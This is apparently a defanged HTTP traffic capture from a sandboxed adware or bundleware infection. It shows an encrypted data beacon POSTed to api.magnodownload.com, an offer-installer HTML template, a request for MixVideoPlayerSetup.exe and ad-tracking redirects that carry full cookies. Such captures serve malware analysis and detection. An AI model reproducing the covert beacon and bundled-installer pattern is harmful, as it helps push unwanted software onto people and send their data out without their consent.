dce7b5959d99e95cea5393545cf155e30779b41058533d91b2b7163b0b7e9ef27ba7c9
97b68698d225f2db0807cc5f0eb52f439aa973bbf34b49d8a1c829c397568ff2938340
5e8aaa39a41a3d77eda2b686d192ac1d04929a70ca795fee313f9890218f4488b9
<<< skipped >>>

POST /945b87404655389288b7fb2a9611b8ad46ee1bb4430308519c9f16d1587274eb65dce3c1fdc5c473c7ed71bb87481a6fdaf6c52748dfbe98 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 2 R:1
Host: api.magnodownload.com
Content-Length: 2726
Cache-Control: no-cache

cdata=86394263D6DED7AD3ED013DFEF7E64F6C29F5997166EF97A418F915F82A9AD7FC77F5FC74ED02F99799278738B97993DFA484DED0643C147AF1F76E6047AAC12B04F4D1B9014C49B2B9206253F7B816F613C3C2381141BF9CF3270815E833E217C84153888AF84AD3B25072B7234318ADB6B796AA64B779F2A2FFAABF95EFDC11241AEEFDE629155B76CCA2A4F117755C06DE1498E9C37CD98B521F0FD403F13CB01AF0E4FBF71138F6A88730187FF335D1D49628715144B0C70D3E9EFE7F238A0BD4DC3850AA17491D1411F679F649D153C8BB58D807D75C71D684597E3C53158883877E2B2DF5F9835210215BF8B4E424D54C9DC1B0382804C82DF6DE430D6286F4EC32EFA9C0879E0B5195F873EC93EFD9028384F794BA8001AAD0EFD2F57163951F48C0543140FA71C2CC25B1E684F083496E91153CD0189459D14D516740D975556EED463D549149C64F7817B04107DF3BD3AADB9D05FF4CA61C16FFA52B0B03FC804758BA2BBFE11F6894C15F67736AE213BCEFDF4413BB9970F70654B7C300116460FAB905A38A5DA3C219D77E5831422B475F8B98F771450C586E4A98C88422A4D2D55FEBEE8C1F50ED3ADDFD386B54BF360ED09327D06513E427FC52942CDABED860F111BDC58F37DAE1E5804B1D324B29777FFAC9632ED0D917F4E2946F6770B48CACED65284414A0C6474B822F9F408D2C90856DBF16EC64796FF36885F3B72C81CDD380DE08636AF2F3CB02F987C595702481E0F760E2BBE161B8F139E030546165681464EC41212D0E3C01FB7AB00263FAE363E85221EF85FF79BD6CC295620E6ECB200436E44A91018A97C28E93F
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Fri, 19 Jun 2015 04:17:24 GMT
Server: nginx
Content-Length: 7
Connection: keep-alive
MAXTHX.....


GET /__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en HTTP/1.1

Accept: */*
Proxy-Authorization: Basic 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.magnodownload.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 19 Jun 2015 04:17:24 GMT
Server: nginx
Vary: Accept-Language
Content-Length: 2403
Connection: keep-alive
..<!--Template VideoUpdater-->..<div class="container">.&l
t;div class="videupdater">. <div class="minimize">.  <ul&g
t;.    <li><span id="_Bminimize" onclick="minimizeWindow();" 
class="button-min">-</span></li>.    <li><span
 id="_Bexit" onclick="onExit()" class="button-min">x</span>&l
t;/li>.  </ul>.</div>..<div id="_frameContainer" cla
ss="content">..  ..</div>...<!-- buttons -->.<div cl
ass="buttons">..  <!--botones derecha -->.  .  <input id="
_Bnext" class="_Bnext grey right" buttonText="Next" tabindex="0" type=
"submit" value="Next »" onclick='onAccept();'>.  ..  <!--b
otones izquierda -->..  .  <input id="_Bomit" class="_Bomit norm
al-close leftnowidth" tabindex="3" type="submit" name="nombre" value="
Skip All" onclick='onOmit();'>.  .  .  <input id="_Bdecline" cla
ss="_Bdecline normal-close leftnowidth" tabindex="1" type="submit"  na
me="nombre" value="Decline"  onclick='onDecline();'>.  ..  <div 
class="clear"></div>.</div>..  ..<div class="contact
">.  <div class="contact-in" style="height: 20px;">..    <
ul>.      <li><a target='_blank' class="first _TitPrivacy"
>Privacy Policy</a></li>.      <li><a target='
_blank' class="_TitSetup">Setup info</a></li>.      <
;li><a target='_blank' class="_TitFree">Why is this free?<
/a></li>.      <li><a target='_blank' class="_Ti
<<< skipped >>>

GET /simg/sprites/env/aisn/goto-top.png HTTP/1.1
Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: i02.i.aliimg.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Expires: Fri, 19 Jun 2015 13:55:30 GMT
Last-Modified: Wed, 05 Dec 2012 08:39:07 GMT
Cache-Control: max-age=172800
Timing-Allow-Origin: *
SERVED-FROM: 212.30.134.184
Server: Tengine
Accept-Ranges: bytes
Content-Length: 370
Content-Type: image/png
X-Pad: avoid browser bug
Date: Fri, 19 Jun 2015 04:17:33 GMT
Connection: keep-alive
Timing-Allow-Origin: *
Network_Info: UA_KHARKIV_34323
.PNG........IHDR...0...0.....`.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...KPLTE...........................................................
..................XY....tRNS..........................4......IDATx....
..0....&"..8....W..L..z..6.G.....i&..8p`..\M..... [email protected]...
.(}...>4...........\.T...{}b.q.[v.D ....Unb.u.m.~w.#..........p...`
}......8..........IEND.B`.....


GET /simg/sprites/env/aisn/survey-grey.png HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: i02.i.aliimg.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Expires: Sat, 20 Jun 2015 09:28:37 GMT
Last-Modified: Tue, 08 Jan 2013 02:58:18 GMT
Cache-Control: max-age=172800
Timing-Allow-Origin: *
SERVED-FROM: 212.30.134.195
Server: Tengine
Content-Type: image/png
Content-Length: 1733
Accept-Ranges: bytes
Date: Fri, 19 Jun 2015 04:17:33 GMT
Connection: keep-alive
Timing-Allow-Origin: *
Network_Info: UA_KHARKIV_34323
.PNG........IHDR...0...b.....!..I....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:C90BDB4257B011E284E0888250
7217AF" xmpMM:DocumentID="xmp.did:C90BDB4357B011E284E08882507217AF">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C90BDB4057B011E284E0
8882507217AF" stRef:documentID="xmp.did:C90BDB4157B011E284E08882507217
AF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>..W-....PLTE.................................
......................................................................
......................................................................
......................................................................
7.K....QtRNS..........................................................
.......................h.......IDATx...is.0..w.ZT..h...........}.._...
^(...:........aC...b.Jf%,.pc...|9G.3..g..........S....*...I.&.....^..%
B.....#7R$...F\..&S....%%..!.M.......q. ...s.."A..vb.w...W...!c..p....
.v;.rDA........P.T..g,..G{[email protected]..#~s..1...*...._....
<<< skipped >>>

HEAD /sdb/84/MixVideoPlayerSetup.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: staticrr.mixvideoplayer.com
Content-Length: 0
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Fri, 19 Jun 2015 04:17:26 GMT
Content-Type: application/octet-stream
Content-Length: 3690288
Last-Modified: Wed, 17 Jun 2015 10:34:24 GMT
Connection: keep-alive
ETag: "55814d30-384f30"
Accept-Ranges: bytes


GET /ml.html?callback=landing8978252&cna=3IUKDkZmHT4CAcGK9Odf8bPj HTTP/1.1
Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cmap.alibaba.com
Connection: Keep-Alive
Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj


HTTP/1.1 200 OK
Cache-Control: max-age=3600
Content-Type: application/javascript
Expires: Fri, 19 Jun 2015 05:17:33 UTC
Date: Fri, 19 Jun 2015 04:17:33 GMT
Content-Length: 55
landing8978252(['hXXp://cmap.alibaba.com/landing.gif'])HTTP/1.1 200 OK
..Cache-Control: max-age=3600..Content-Type: application/javascript..E
xpires: Fri, 19 Jun 2015 05:17:33 UTC..Date: Fri, 19 Jun 2015 04:17:33
 GMT..Content-Length: 55..landing8978252(['hXXp://cmap.alibaba.com/lan
ding.gif'])....


GET /landing.gif HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cmap.alibaba.com
Connection: Keep-Alive
Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj; ali_apache_track=""; ali_apache_tracktmp=""


HTTP/1.1 302 Found
Cache-Control: max-age=3600
Expires: Fri, 19 Jun 2015 05:17:34 UTC
Location: hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1
Date: Fri, 19 Jun 2015 04:17:34 GMT
Content-Length: 104
Content-Type: text/html; charset=utf-8
<a href="hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&a
mp;google_cm&loop=1">Found</a>...HTTP/1.1 302 Found..Cach
e-Control: max-age=3600..Expires: Fri, 19 Jun 2015 05:17:34 UTC..Locat
ion: hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_c
m&loop=1..Date: Fri, 19 Jun 2015 04:17:34 GMT..Content-Length: 104..Co
ntent-Type: text/html; charset=utf-8..<a href="hXXp://cm.g.doublecl
ick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1">Foun
d</a>.......


GET /landing.gif?google_gid=CAESEJc9Iy-qQ6-cMtIeJ5_lwEk&google_cver=1&loop=1 HTTP/1.1

Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj; ali_apache_track=""; ali_apache_tracktmp=""
Connection: Keep-Alive
Host: cmap.alibaba.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=3600
Content-Length: 49
Content-Type: image/gif
Expires: Fri, 19 Jun 2015 05:17:34 UTC
Last-Modified: Fri, 06 Mar 2015 09:11:41 GMT
Date: Fri, 19 Jun 2015 04:17:34 GMT
GIF89a...................!.......,...........T..;HTTP/1.1 200 OK..Acce
pt-Ranges: bytes..Cache-Control: max-age=3600..Content-Length: 49..Con
tent-Type: image/gif..Expires: Fri, 19 Jun 2015 05:17:34 UTC..Last-Mod
ified: Fri, 06 Mar 2015 09:11:41 GMT..Date: Fri, 19 Jun 2015 04:17:34 
GMT..GIF89a...................!.......,...........T..;..


GET /event/common.html?id=17770&ext=cnatime=1875&st_page_id=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ali_beacon_id=193.138.244.231.1434687452343.865261.8&inc=0&ver=40&time=1434687460047 HTTP/1.1
Accept: */*
Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: stat.alibaba.com
Connection: Keep-Alive
Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj


HTTP/1.1 200 OK
Date: Fri, 19 Jun 2015 04:17:33 GMT
Server: Apache
Last-Modified: Thu, 25 Dec 2014 09:24:05 GMT
ETag: "50b06f82d9740"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
X-XSS-protection: 1;mode=block
Content-Length: 20
Connection: close
Content-Type: text/html
......................